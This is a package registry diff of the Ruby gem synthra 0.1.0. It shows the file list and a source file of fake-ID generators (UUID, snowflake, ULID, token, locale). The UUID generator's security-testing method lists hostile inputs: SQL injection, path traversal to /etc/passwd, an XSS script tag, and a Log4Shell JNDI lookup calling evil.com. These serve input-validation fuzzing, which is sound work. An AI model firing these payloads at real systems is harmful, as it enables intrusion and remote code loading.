synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (302) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +4 -0
  3. data/.rubocop.yml +40 -0
  4. data/.yardopts +18 -0
  5. data/ACCESS_DOCS.md +116 -0
  6. data/ADVANCED_FEATURES_SUMMARY.md +245 -0
  7. data/CHANGELOG.md +498 -0
  8. data/CODE_OF_CONDUCT.md +122 -0
  9. data/CONTRIBUTING.md +307 -0
  10. data/DOCUMENTATION.md +204 -0
  11. data/DOCUMENTATION_GUIDE.md +194 -0
  12. data/LICENSE +22 -0
  13. data/README.md +1458 -0
  14. data/Rakefile +128 -0
  15. data/benchmark/README.md +591 -0
  16. data/benchmark/batch_generation.rb +63 -0
  17. data/benchmark/engine_comparison.rb +295 -0
  18. data/benchmark/single_record.rb +108 -0
  19. data/benchmark/streaming.rb +74 -0
  20. data/docs/ACTIVERECORD_INFERENCE.md +524 -0
  21. data/docs/API_SERVER.md +278 -0
  22. data/docs/CONFIG_FILE.md +315 -0
  23. data/docs/DATA_CONTRACTS.md +312 -0
  24. data/docs/ENHANCED_REPL.md +304 -0
  25. data/docs/FACTORY_BOT.md +271 -0
  26. data/docs/GITHUB_ACTION.md +420 -0
  27. data/docs/GRAPHQL_EXPORT.md +303 -0
  28. data/docs/GRAPHQL_FEDERATION.md +651 -0
  29. data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
  30. data/docs/LSP.md +189 -0
  31. data/docs/MIGRATION_GENERATOR.md +547 -0
  32. data/docs/MOCK_SERVER.md +280 -0
  33. data/docs/NATIVE_ENGINE.md +298 -0
  34. data/docs/OPENAPI_EXPORT.md +252 -0
  35. data/docs/PERFORMANCE_MODE.md +228 -0
  36. data/docs/PERSONAS.md +547 -0
  37. data/docs/PROPERTY_TESTING.md +284 -0
  38. data/docs/PROTOBUF_EXPORT.md +276 -0
  39. data/docs/QUALITY_METRICS.md +555 -0
  40. data/docs/QUICK_REFERENCE.md +88 -0
  41. data/docs/RAILS_ENGINE.md +404 -0
  42. data/docs/RAILS_INTEGRATION.md +454 -0
  43. data/docs/README.md +175 -0
  44. data/docs/REPL_QUICK_REFERENCE.md +149 -0
  45. data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
  46. data/docs/SCENARIOS.md +576 -0
  47. data/docs/SECURITY_TESTING.md +318 -0
  48. data/docs/SNAPSHOT_TESTING.md +308 -0
  49. data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
  50. data/docs/TERRAFORM_EXPORT.md +447 -0
  51. data/docs/TIME_TRAVEL.md +507 -0
  52. data/docs/USAGE_GUIDE.md +980 -0
  53. data/docs/WEBHOOK_SIMULATOR.md +579 -0
  54. data/docs/advanced_features.md +183 -0
  55. data/docs/api_reference.md +153 -0
  56. data/docs/behaviors.md +138 -0
  57. data/docs/best_practices.md +191 -0
  58. data/docs/dsl_reference.md +172 -0
  59. data/docs/examples.md +162 -0
  60. data/docs/generation_modes.md +125 -0
  61. data/docs/getting_started.md +92 -0
  62. data/docs/index.html +177 -0
  63. data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
  64. data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
  65. data/docs/troubleshooting.md +215 -0
  66. data/docs/type_reference.md +224 -0
  67. data/examples/hostile_mode_demo.rb +64 -0
  68. data/exe/synthra +6 -0
  69. data/ext/synthra_native/Cargo.lock +972 -0
  70. data/ext/synthra_native/Cargo.toml +46 -0
  71. data/ext/synthra_native/extconf.rb +41 -0
  72. data/ext/synthra_native/src/generator.rs +397 -0
  73. data/ext/synthra_native/src/lib.rs +229 -0
  74. data/ext/synthra_native/src/types.rs +1485 -0
  75. data/lib/generators/synthra/install_generator.rb +86 -0
  76. data/lib/generators/synthra/templates/api_response.dsl +15 -0
  77. data/lib/generators/synthra/templates/fake_data.rake +116 -0
  78. data/lib/generators/synthra/templates/synthra.yml +31 -0
  79. data/lib/generators/synthra/templates/synthra_support.rb +19 -0
  80. data/lib/generators/synthra/templates/user.dsl +11 -0
  81. data/lib/synthra/activerecord_inference.rb +394 -0
  82. data/lib/synthra/api.rb +381 -0
  83. data/lib/synthra/api_server.rb +718 -0
  84. data/lib/synthra/behaviors/applicator.rb +165 -0
  85. data/lib/synthra/behaviors/base.rb +155 -0
  86. data/lib/synthra/behaviors/close_connection.rb +60 -0
  87. data/lib/synthra/behaviors/deprecated.rb +100 -0
  88. data/lib/synthra/behaviors/failure.rb +69 -0
  89. data/lib/synthra/behaviors/latency.rb +103 -0
  90. data/lib/synthra/behaviors/partial_data.rb +83 -0
  91. data/lib/synthra/behaviors/randomize_order.rb +74 -0
  92. data/lib/synthra/behaviors/registry.rb +238 -0
  93. data/lib/synthra/behaviors/simulate_error.rb +79 -0
  94. data/lib/synthra/cli/commands/base.rb +105 -0
  95. data/lib/synthra/cli/commands/diff.rb +227 -0
  96. data/lib/synthra/cli/commands/docs.rb +67 -0
  97. data/lib/synthra/cli/commands/export.rb +150 -0
  98. data/lib/synthra/cli/commands/generate.rb +72 -0
  99. data/lib/synthra/cli/commands/import.rb +80 -0
  100. data/lib/synthra/cli/commands/lint.rb +53 -0
  101. data/lib/synthra/cli/commands/live.rb +57 -0
  102. data/lib/synthra/cli/commands/seed.rb +99 -0
  103. data/lib/synthra/cli/commands/validate.rb +28 -0
  104. data/lib/synthra/cli.rb +2471 -0
  105. data/lib/synthra/config_file.rb +129 -0
  106. data/lib/synthra/configuration.rb +281 -0
  107. data/lib/synthra/contracts_registry.rb +408 -0
  108. data/lib/synthra/database_seeder.rb +268 -0
  109. data/lib/synthra/deterministic_ids.rb +218 -0
  110. data/lib/synthra/documentation_generator.rb +414 -0
  111. data/lib/synthra/engine.rb +251 -0
  112. data/lib/synthra/errors.rb +1169 -0
  113. data/lib/synthra/export/base.rb +85 -0
  114. data/lib/synthra/export/csv.rb +101 -0
  115. data/lib/synthra/export/graphql.rb +266 -0
  116. data/lib/synthra/export/graphql_federation.rb +377 -0
  117. data/lib/synthra/export/graphviz.rb +258 -0
  118. data/lib/synthra/export/javascript.rb +327 -0
  119. data/lib/synthra/export/json_data.rb +61 -0
  120. data/lib/synthra/export/json_schema.rb +290 -0
  121. data/lib/synthra/export/openapi.rb +514 -0
  122. data/lib/synthra/export/protobuf.rb +483 -0
  123. data/lib/synthra/export/python.rb +560 -0
  124. data/lib/synthra/export/sql.rb +381 -0
  125. data/lib/synthra/export/sql_insert.rb +152 -0
  126. data/lib/synthra/export/terraform.rb +501 -0
  127. data/lib/synthra/export/type_mapping.rb +389 -0
  128. data/lib/synthra/export/typescript.rb +300 -0
  129. data/lib/synthra/export/xml_data.rb +104 -0
  130. data/lib/synthra/export/yaml_data.rb +56 -0
  131. data/lib/synthra/export.rb +404 -0
  132. data/lib/synthra/factory_bot_integration.rb +157 -0
  133. data/lib/synthra/field.rb +440 -0
  134. data/lib/synthra/functions/registry.rb +104 -0
  135. data/lib/synthra/generator/context.rb +372 -0
  136. data/lib/synthra/generator/engine.rb +336 -0
  137. data/lib/synthra/generator/faker_adapter.rb +425 -0
  138. data/lib/synthra/generator/modes.rb +444 -0
  139. data/lib/synthra/generator/resolver.rb +256 -0
  140. data/lib/synthra/generator/rng.rb +273 -0
  141. data/lib/synthra/generator/streamer.rb +63 -0
  142. data/lib/synthra/generator/uniqueness.rb +118 -0
  143. data/lib/synthra/initializer.rb +97 -0
  144. data/lib/synthra/limits.rb +279 -0
  145. data/lib/synthra/live_preview.rb +518 -0
  146. data/lib/synthra/loader_config.rb +78 -0
  147. data/lib/synthra/lsp/server.rb +689 -0
  148. data/lib/synthra/migration_generator.rb +301 -0
  149. data/lib/synthra/mixin.rb +174 -0
  150. data/lib/synthra/mock_server.rb +458 -0
  151. data/lib/synthra/native_engine.rb +304 -0
  152. data/lib/synthra/openapi_importer.rb +228 -0
  153. data/lib/synthra/output/json_formatter.rb +40 -0
  154. data/lib/synthra/output/ndjson_formatter.rb +55 -0
  155. data/lib/synthra/parser/ast.rb +1287 -0
  156. data/lib/synthra/parser/lexer.rb +1152 -0
  157. data/lib/synthra/parser/parser.rb +1664 -0
  158. data/lib/synthra/parser/tokens.rb +461 -0
  159. data/lib/synthra/performance_mode.rb +364 -0
  160. data/lib/synthra/personas.rb +397 -0
  161. data/lib/synthra/property_testing.rb +172 -0
  162. data/lib/synthra/quality_metrics.rb +405 -0
  163. data/lib/synthra/rails_test_helper.rb +248 -0
  164. data/lib/synthra/registry.rb +533 -0
  165. data/lib/synthra/relationships.rb +193 -0
  166. data/lib/synthra/repl/enhanced_repl.rb +607 -0
  167. data/lib/synthra/repl/formatter.rb +191 -0
  168. data/lib/synthra/scenarios.rb +423 -0
  169. data/lib/synthra/schema.rb +605 -0
  170. data/lib/synthra/schema_inheritance.rb +104 -0
  171. data/lib/synthra/schema_versioning.rb +212 -0
  172. data/lib/synthra/snapshot_testing.rb +199 -0
  173. data/lib/synthra/time_travel.rb +338 -0
  174. data/lib/synthra/type_definitions.rb +274 -0
  175. data/lib/synthra/types/address_location/addresses.rb +125 -0
  176. data/lib/synthra/types/address_location/airports.rb +200 -0
  177. data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
  178. data/lib/synthra/types/address_location/locations.rb +406 -0
  179. data/lib/synthra/types/base.rb +48 -0
  180. data/lib/synthra/types/commerce_products/commerce.rb +119 -0
  181. data/lib/synthra/types/commerce_products/companies.rb +71 -0
  182. data/lib/synthra/types/commerce_products/construction.rb +126 -0
  183. data/lib/synthra/types/commerce_products/products.rb +205 -0
  184. data/lib/synthra/types/core/collections.rb +513 -0
  185. data/lib/synthra/types/core/defaults.rb +76 -0
  186. data/lib/synthra/types/core/enums.rb +102 -0
  187. data/lib/synthra/types/core/identifiers.rb +445 -0
  188. data/lib/synthra/types/core/primitives.rb +586 -0
  189. data/lib/synthra/types/core/references.rb +466 -0
  190. data/lib/synthra/types/core/sequences.rb +304 -0
  191. data/lib/synthra/types/crypto/crypto.rb +162 -0
  192. data/lib/synthra/types/date_time/dates.rb +387 -0
  193. data/lib/synthra/types/finance_banking/banking.rb +424 -0
  194. data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
  195. data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
  196. data/lib/synthra/types/formula.rb +184 -0
  197. data/lib/synthra/types/health_medical/medical.rb +150 -0
  198. data/lib/synthra/types/hostile_payloads.rb +122 -0
  199. data/lib/synthra/types/json_array.rb +51 -0
  200. data/lib/synthra/types/media_entertainment/media.rb +62 -0
  201. data/lib/synthra/types/naughty_string.rb +30 -0
  202. data/lib/synthra/types/personal_names/chinese.rb +41 -0
  203. data/lib/synthra/types/personal_names/identifiers.rb +187 -0
  204. data/lib/synthra/types/personal_names/names.rb +246 -0
  205. data/lib/synthra/types/personal_names/national_id.rb +89 -0
  206. data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
  207. data/lib/synthra/types/regex.rb +248 -0
  208. data/lib/synthra/types/registry.rb +182 -0
  209. data/lib/synthra/types/repeating_element.rb +50 -0
  210. data/lib/synthra/types/scenario.rb +29 -0
  211. data/lib/synthra/types/technology_internet/apps.rb +67 -0
  212. data/lib/synthra/types/technology_internet/communication.rb +162 -0
  213. data/lib/synthra/types/technology_internet/devices.rb +80 -0
  214. data/lib/synthra/types/technology_internet/formats.rb +139 -0
  215. data/lib/synthra/types/technology_internet/networking.rb +143 -0
  216. data/lib/synthra/types/template.rb +92 -0
  217. data/lib/synthra/types/text_content/business.rb +128 -0
  218. data/lib/synthra/types/text_content/colors.rb +70 -0
  219. data/lib/synthra/types/text_content/misc.rb +237 -0
  220. data/lib/synthra/types/text_content/security.rb +130 -0
  221. data/lib/synthra/types/text_content/text_generation.rb +532 -0
  222. data/lib/synthra/types/travel/travel.rb +150 -0
  223. data/lib/synthra/utils/string_distance.rb +133 -0
  224. data/lib/synthra/validator/dsl_validator.rb +339 -0
  225. data/lib/synthra/validator/path_validator.rb +615 -0
  226. data/lib/synthra/version.rb +35 -0
  227. data/lib/synthra/webhook_simulator.rb +341 -0
  228. data/lib/synthra.rb +259 -0
  229. data/schemas/address.dsl +16 -0
  230. data/schemas/api_response.dsl +8 -0
  231. data/schemas/error_payload.dsl +9 -0
  232. data/schemas/order.dsl +10 -0
  233. data/schemas/order_item.dsl +8 -0
  234. data/schemas/payment.dsl +11 -0
  235. data/schemas/social_post.dsl +13 -0
  236. data/schemas/user.dsl +10 -0
  237. data/scripts/batch_fix_all.rb +96 -0
  238. data/scripts/delete_old_files.rb +32 -0
  239. data/scripts/fix_all_grouped_files.rb +137 -0
  240. data/scripts/fix_all_indentation.rb +48 -0
  241. data/scripts/fix_all_syntax.rb +124 -0
  242. data/scripts/fix_grouped_files.rb +184 -0
  243. data/scripts/fix_syntax_errors.rb +108 -0
  244. data/scripts/group_domain_types.rb +112 -0
  245. data/scripts/group_domain_types_fixed.rb +150 -0
  246. data/scripts/merge_domains_to_one_file.rb +68 -0
  247. data/scripts/move_existing_types.rb +130 -0
  248. data/scripts/split_grouped_types.rb +142 -0
  249. data/tech_docs/README.md +134 -0
  250. data/tech_docs/advanced/streaming.md +405 -0
  251. data/tech_docs/advanced/thread_safety.md +253 -0
  252. data/tech_docs/api/overview.md +485 -0
  253. data/tech_docs/appendices/type_chart.md +193 -0
  254. data/tech_docs/basic_concepts.md +383 -0
  255. data/tech_docs/behaviors/overview.md +346 -0
  256. data/tech_docs/dsl/complex_types.md +790 -0
  257. data/tech_docs/dsl/core_types.md +464 -0
  258. data/tech_docs/dsl/datetime_types.md +325 -0
  259. data/tech_docs/dsl/field_modifiers.md +414 -0
  260. data/tech_docs/dsl/grammar.md +431 -0
  261. data/tech_docs/dsl/schema_definition.md +399 -0
  262. data/tech_docs/export/README.md +276 -0
  263. data/tech_docs/installation.md +273 -0
  264. data/tech_docs/integration/ci_cd.md +707 -0
  265. data/tech_docs/integration/ci_cd_guide.md +579 -0
  266. data/tech_docs/integration/factory_bot.md +485 -0
  267. data/tech_docs/integration/rails.md +630 -0
  268. data/tech_docs/integration/rspec.md +449 -0
  269. data/tech_docs/modes/overview.md +350 -0
  270. data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
  271. data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
  272. data/tech_docs/quick_start.md +256 -0
  273. data/tech_docs/templates/README.md +805 -0
  274. data/tech_docs/tutorials/advanced.md +371 -0
  275. data/tech_docs/tutorials/getting_started.md +189 -0
  276. data/tech_docs/tutorials/intermediate.md +231 -0
  277. data/tech_docs/tutorials/template_gallery.md +569 -0
  278. data/tech_example/01_basic_usage.rb +238 -0
  279. data/tech_example/02_types_demo.rb +336 -0
  280. data/tech_example/04_cli_usage.md +429 -0
  281. data/tech_example/05_database_seeding.rb +283 -0
  282. data/tech_example/07_rspec_integration.rb +359 -0
  283. data/tech_example/10_custom_types.rb +387 -0
  284. data/tech_example/12_behaviors.rb +372 -0
  285. data/tech_example/13_twitter_dm_example.rb +120 -0
  286. data/tech_example/14_exact_json_structure.rb +253 -0
  287. data/tech_example/16_lsp_server.rb +56 -0
  288. data/tech_example/17_property_testing.rb +92 -0
  289. data/tech_example/18_enhanced_repl.rb +120 -0
  290. data/tech_example/19_security_fuzzing.rb +145 -0
  291. data/tech_example/NEW_FEATURES.md +169 -0
  292. data/tech_example/README.md +118 -0
  293. data/tech_example/schemas/api_response.dsl +123 -0
  294. data/tech_example/schemas/ecommerce.dsl +121 -0
  295. data/tech_example/schemas/twitter_dm.dsl +109 -0
  296. data/tech_example/schemas/user.dsl +36 -0
  297. data/vscode-extension/README.md +246 -0
  298. data/vscode-extension/language-configuration.json +31 -0
  299. data/vscode-extension/package.json +55 -0
  300. data/vscode-extension/snippets/fakedatadsl.json +198 -0
  301. data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
  302. metadata +478 -0
@@ -0,0 +1,445 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ module Core
6
+ # UUID type generator with version support
7
+ class Uuid < Base
8
+ def generate_random(rng, context, args)
9
+ version = args[:version] || 4
10
+ case version
11
+ when 4
12
+ generate_v4(rng)
13
+ when 6
14
+ generate_v6(rng)
15
+ when 7
16
+ generate_v7(rng)
17
+ else
18
+ generate_v4(rng)
19
+ end
20
+ end
21
+
22
+ def generate_edge(rng, context, args)
23
+ rng.sample(%w[
24
+ 00000000-0000-0000-0000-000000000000
25
+ ffffffff-ffff-ffff-ffff-ffffffffffff
26
+ 550e8400-e29b-41d4-a716-446655440000
27
+ ])
28
+ end
29
+
30
+ def generate_invalid(rng, context, args)
31
+ rng.sample([
32
+ nil,
33
+ "not-a-uuid",
34
+ "123",
35
+ [],
36
+ {}
37
+ ])
38
+ end
39
+
40
+ # Generate hostile UUID values for security testing
41
+ #
42
+ # Returns malformed UUIDs designed to test validation
43
+ # and input handling.
44
+ #
45
+ # @param rng [Generator::RNG] random number generator
46
+ # @param context [Generator::Context] generation context
47
+ # @param args [Hash] type arguments
48
+ # @return [String] hostile UUID
49
+ #
50
+ def generate_hostile(rng, context, args)
51
+ hostile_uuids = [
52
+ "00000000-0000-0000-0000-000000000000", # Nil UUID
53
+ "FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF", # Max UUID
54
+ "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", # Non-hex chars
55
+ "' OR '1'='1", # SQLi attempt
56
+ "../../../etc/passwd", # Path traversal
57
+ "<script>alert('xss')</script>", # XSS in UUID field
58
+ "G0000000-0000-0000-0000-000000000000", # Invalid hex (G)
59
+ "00000000000000000000000000000000", # No dashes
60
+ "0-0-0-0-0", # Too short
61
+ "0" * 1000, # Buffer overflow
62
+ "${jndi:ldap://evil.com/a}", # Log4Shell payload
63
+ "%00%00%00%00", # Null bytes
64
+ "\u0000\u0000\u0000\u0000" # Unicode nulls
65
+ ]
66
+ rng.sample(hostile_uuids)
67
+ end
68
+
69
+ private
70
+
71
+ def generate_v4(rng)
72
+ # UUID v4 format: xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx
73
+ # 8-4-4-4-12 = 32 hex digits total
74
+ hex = (0..31).map { rng.int(0, 15).to_s(16) }.join
75
+ variant = rng.sample(%w[8 9 a b])
76
+ "#{hex[0, 8]}-#{hex[8, 4]}-4#{hex[13, 3]}-#{variant}#{hex[17, 3]}-#{hex[20, 12]}"
77
+ end
78
+
79
+ def generate_v6(rng)
80
+ # UUID v6: time-ordered version (deterministic)
81
+ # Format: tttttttt-tttt-6ttt-yxxx-xxxxxxxxxxxx
82
+ base_time = Time.utc(2020, 1, 1).to_i * 10_000_000
83
+ days_offset = rng.int(0, 365 * 10) * 86_400 * 10_000_000
84
+ timestamp = base_time + days_offset
85
+ time_hex = format("%012x", timestamp)
86
+ random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
87
+ variant = rng.sample(%w[8 9 a b])
88
+ "#{time_hex[0, 8]}-#{time_hex[8, 4]}-6#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
89
+ end
90
+
91
+ def generate_v7(rng)
92
+ # UUID v7: Unix epoch time-based (deterministic)
93
+ # Format: tttttttt-tttt-7xxx-yxxx-xxxxxxxxxxxx
94
+ base_time = Time.utc(2020, 1, 1).to_i * 1000
95
+ days_offset = rng.int(0, 365 * 10) * 86_400 * 1000
96
+ timestamp = base_time + days_offset
97
+ time_hex = format("%012x", timestamp)
98
+ random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
99
+ variant = rng.sample(%w[8 9 a b])
100
+ "#{time_hex[0, 8]}-#{time_hex[8, 4]}-7#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
101
+ end
102
+ end
103
+
104
+ # Snowflake ID type generator (Twitter/Discord style)
105
+ #
106
+ # Generates 19-digit numeric IDs similar to Twitter snowflake IDs.
107
+ # These are time-based, sortable identifiers commonly used in distributed systems.
108
+ #
109
+ # @example Generate Snowflake ID as string (default)
110
+ # snowflake_id
111
+ # snowflake_id(as: string)
112
+ # # => "1548932749832749832"
113
+ #
114
+ # @example Generate Snowflake ID as integer
115
+ # snowflake_id(as: integer)
116
+ # # => 1548932749832749832
117
+ #
118
+ class SnowflakeId < Base
119
+ # Twitter epoch (2006-03-21 00:00:00 UTC in milliseconds)
120
+ TWITTER_EPOCH = 1_142_899_200_000
121
+
122
+ def generate_random(rng, context, args)
123
+ # Generate a snowflake-like ID
124
+ # Base is ~1.5 quintillion to get 19 digits
125
+ base = 1_548_932_749_832_749_832
126
+ offset = rng.int(0, 999_999_999_999)
127
+ value = base + offset
128
+
129
+ format_output(value, args)
130
+ end
131
+
132
+ def generate_edge(rng, context, args)
133
+ values = [
134
+ 1, # Minimum
135
+ 9_999_999_999_999_999_999, # Maximum 19 digits
136
+ 1_548_932_749_832_749_832, # Typical Twitter ID
137
+ 1, # Leading zeros equivalent
138
+ TWITTER_EPOCH * 1000 # Epoch-based
139
+ ]
140
+ value = rng.sample(values)
141
+ format_output(value, args)
142
+ end
143
+
144
+ def generate_invalid(rng, context, args)
145
+ rng.sample([
146
+ nil,
147
+ "",
148
+ "invalid",
149
+ "123", # Too short
150
+ "-1548932749832749832", # Negative
151
+ 12_345 # Wrong type
152
+ ])
153
+ end
154
+
155
+ private
156
+
157
+ def format_output(value, args)
158
+ as_type = args[:as] || args["as"] || "string"
159
+ case as_type.to_s.downcase
160
+ when "integer", "int", "number"
161
+ value
162
+ else
163
+ value.to_s
164
+ end
165
+ end
166
+ end
167
+
168
+ # Unix timestamp in milliseconds
169
+ #
170
+ # Generates Unix timestamps in milliseconds, commonly used
171
+ # in APIs like Twitter, Discord, and JavaScript.
172
+ #
173
+ # @example Generate Unix timestamp as string (default)
174
+ # unix_timestamp_ms
175
+ # unix_timestamp_ms(as: string)
176
+ # # => "1704898204000"
177
+ #
178
+ # @example Generate Unix timestamp as integer
179
+ # unix_timestamp_ms(as: integer)
180
+ # # => 1704898204000
181
+ #
182
+ class UnixTimestampMs < Base
183
+ def generate_random(rng, context, args)
184
+ # Generate timestamp within last 2 years
185
+ base_time = Time.now.to_i * 1000
186
+ two_years_ms = 2 * 365 * 24 * 60 * 60 * 1000
187
+ offset = rng.int(0, two_years_ms)
188
+ value = base_time - offset
189
+
190
+ format_output(value, args)
191
+ end
192
+
193
+ def generate_edge(rng, context, args)
194
+ values = [
195
+ 0, # Unix epoch
196
+ 1_704_898_204_000, # Fixed known timestamp
197
+ Time.now.to_i * 1000, # Current time
198
+ 253_402_300_799_000, # Year 9999
199
+ 86_400_000 # One day after epoch
200
+ ]
201
+ value = rng.sample(values)
202
+ format_output(value, args)
203
+ end
204
+
205
+ def generate_invalid(rng, context, args)
206
+ rng.sample([
207
+ nil,
208
+ "",
209
+ "not-a-timestamp",
210
+ "-1704898204000", # Negative
211
+ "abc123",
212
+ 12_345 # Wrong type
213
+ ])
214
+ end
215
+
216
+ private
217
+
218
+ def format_output(value, args)
219
+ as_type = args[:as] || args["as"] || "string"
220
+ case as_type.to_s.downcase
221
+ when "integer", "int", "number"
222
+ value
223
+ else
224
+ value.to_s
225
+ end
226
+ end
227
+ end
228
+
229
+ # Numeric string ID with configurable length
230
+ #
231
+ # Generates numeric strings of specified length (9-19 digits by default).
232
+ # Useful for user IDs, account numbers, and similar identifiers.
233
+ #
234
+ # @example Generate numeric string ID
235
+ # id_type = NumericStringId.new
236
+ # id_type.generate_random(rng, context, { min_length: 9, max_length: 19 })
237
+ # # => "7382947182947182"
238
+ #
239
+ class NumericStringId < Base
240
+ def generate_random(rng, context, args)
241
+ min_len = args[:min_length] || args[:min] || 9
242
+ max_len = args[:max_length] || args[:max] || 19
243
+ length = rng.int(min_len, max_len)
244
+
245
+ # Generate number with specified length
246
+ # First digit is 1-9 to avoid leading zeros
247
+ first = rng.int(1, 9).to_s
248
+ rest = (length - 1).times.map { rng.int(0, 9) }.join
249
+ "#{first}#{rest}"
250
+ end
251
+
252
+ def generate_edge(rng, context, args)
253
+ min_len = args[:min_length] || args[:min] || 9
254
+ max_len = args[:max_length] || args[:max] || 19
255
+
256
+ rng.sample([
257
+ "1" * min_len, # All 1s, minimum length
258
+ "9" * max_len, # All 9s, maximum length
259
+ "1" + ("0" * (min_len - 1)), # Min with zeros
260
+ "123456789", # Sequential
261
+ "987654321" # Reverse sequential
262
+ ])
263
+ end
264
+
265
+ def generate_invalid(rng, context, args)
266
+ rng.sample([
267
+ nil,
268
+ "",
269
+ "invalid",
270
+ "12.34", # Decimal
271
+ "-123456789", # Negative
272
+ 12_345 # Not a string
273
+ ])
274
+ end
275
+ end
276
+
277
+ # Alphanumeric ID generator — a fixed-length [A-Za-z0-9] string. Length comes from the
278
+ # positional or named arg: alphanumeric_id(12) → args[:value]; alphanumeric_id(length: 12).
279
+ # Used for license/serial numbers, commit-sha-like ids, API keys, etc.
280
+ class AlphanumericId < Base
281
+ CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
282
+
283
+ def generate_random(rng, context, args)
284
+ len = id_length(args)
285
+ Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
286
+ end
287
+
288
+ def generate_edge(rng, context, args)
289
+ len = id_length(args)
290
+ rng.sample(["A" * len, "0" * len, "Z" * len])
291
+ end
292
+
293
+ def generate_invalid(rng, context, args)
294
+ rng.sample([nil, "", "has space", "bad!", 12_345])
295
+ end
296
+
297
+ private
298
+
299
+ # Length from a positional (args[:value]) or named (length:/n:/size:) arg; defaults to 12.
300
+ def id_length(args)
301
+ len = (args[:length] || args[:value] || args[:n] || args[:size] || 12).to_i
302
+ len.positive? ? len : 12
303
+ end
304
+ end
305
+
306
+ # Locale generator — BCP-47-style locale tags (e.g. "en-US", "fr-FR") for i18n/profile fields.
307
+ class Locale < Base
308
+ LOCALES = %w[
309
+ en-US en-GB en-CA es-ES es-MX pt-BR pt-PT fr-FR fr-CA de-DE it-IT nl-NL
310
+ sv-SE da-DK nb-NO fi-FI pl-PL ru-RU tr-TR ar-SA he-IL hi-IN ja-JP ko-KR
311
+ zh-CN zh-TW th-TH vi-VN id-ID
312
+ ].freeze
313
+
314
+ def generate_random(rng, context, args)
315
+ rng.sample(LOCALES)
316
+ end
317
+
318
+ def generate_edge(rng, context, args)
319
+ rng.sample(["en-US", "zh-CN", "ar-SA"])
320
+ end
321
+
322
+ def generate_invalid(rng, context, args)
323
+ rng.sample([nil, "", "english", "EN_us", "xx-XX", 42])
324
+ end
325
+ end
326
+
327
+ # Token generator — a URL-safe [A-Za-z0-9] string (access/refresh tokens, OAuth codes, API
328
+ # keys). Default length 32; override with token(48) or token(length: 64).
329
+ class Token < Base
330
+ CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
331
+
332
+ def generate_random(rng, context, args)
333
+ len = (args[:length] || args[:value] || args[:n] || args[:size] || 32).to_i
334
+ len = 32 unless len.positive?
335
+ Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
336
+ end
337
+
338
+ def generate_edge(rng, context, args)
339
+ rng.sample(["A" * 32, "0" * 43, "Z" * 64])
340
+ end
341
+
342
+ def generate_invalid(rng, context, args)
343
+ rng.sample([nil, "", "short", "has space", 123])
344
+ end
345
+ end
346
+
347
+ # ULID type generator (time-sortable unique identifier)
348
+ #
349
+ # Generates ULID values with deterministic timestamps for reproducible
350
+ # output when using seeds.
351
+ #
352
+ # @example Generate ULID
353
+ # ulid_type = Ulid.new
354
+ # ulid_type.generate_random(rng, context, {})
355
+ # # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
356
+ #
357
+ class Ulid < Base
358
+ # Base32 encoding characters (Crockford's Base32, ULID-compatible)
359
+ BASE32_CHARS = "0123456789ABCDEFGHJKMNPQRSTVWXYZ"
360
+
361
+ # Generate a random ULID
362
+ #
363
+ # Creates a 26-character ULID with time-based sorting.
364
+ #
365
+ # @param rng [Generator::RNG] random number generator
366
+ # @param context [Generator::Context] generation context (not used)
367
+ # @param args [Hash] type arguments (not used)
368
+ # @return [String] 26-character ULID string
369
+ #
370
+ # @example
371
+ # generate_random(rng, context, {})
372
+ # # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
373
+ #
374
+ def generate_random(rng, context, args)
375
+ # ULID = 10 chars timestamp + 16 chars randomness
376
+ # Use deterministic timestamp from RNG for reproducible output
377
+ # Base time is 2020-01-01, add random offset up to 10 years
378
+ base_time = Time.utc(2020, 1, 1).to_i * 1000 # Base in milliseconds
379
+ days_offset = rng.int(0, 365 * 10) * 86_400 * 1000 # 10 years range
380
+ milliseconds_offset = rng.int(0, 86_399_999) # Random milliseconds within day
381
+ timestamp_ms = base_time + days_offset + milliseconds_offset
382
+
383
+ # Encode timestamp (10 chars)
384
+ time_part = encode_time(timestamp_ms)
385
+
386
+ # Generate random part (16 chars)
387
+ random_part = 16.times.map { rng.sample(BASE32_CHARS.chars) }.join
388
+
389
+ "#{time_part}#{random_part}"
390
+ end
391
+
392
+ # Generate edge case ULID values
393
+ #
394
+ # @param rng [Generator::RNG] random number generator
395
+ # @param context [Generator::Context] generation context
396
+ # @param args [Hash] type arguments (not used)
397
+ # @return [String] edge case ULID
398
+ #
399
+ def generate_edge(rng, context, args)
400
+ rng.sample(%w[
401
+ 00000000000000000000000000
402
+ 7ZZZZZZZZZZZZZZZZZZZZZZZZZ
403
+ 01ARZ3NDEKTSV4RRFFQ69G5FAV
404
+ ])
405
+ end
406
+
407
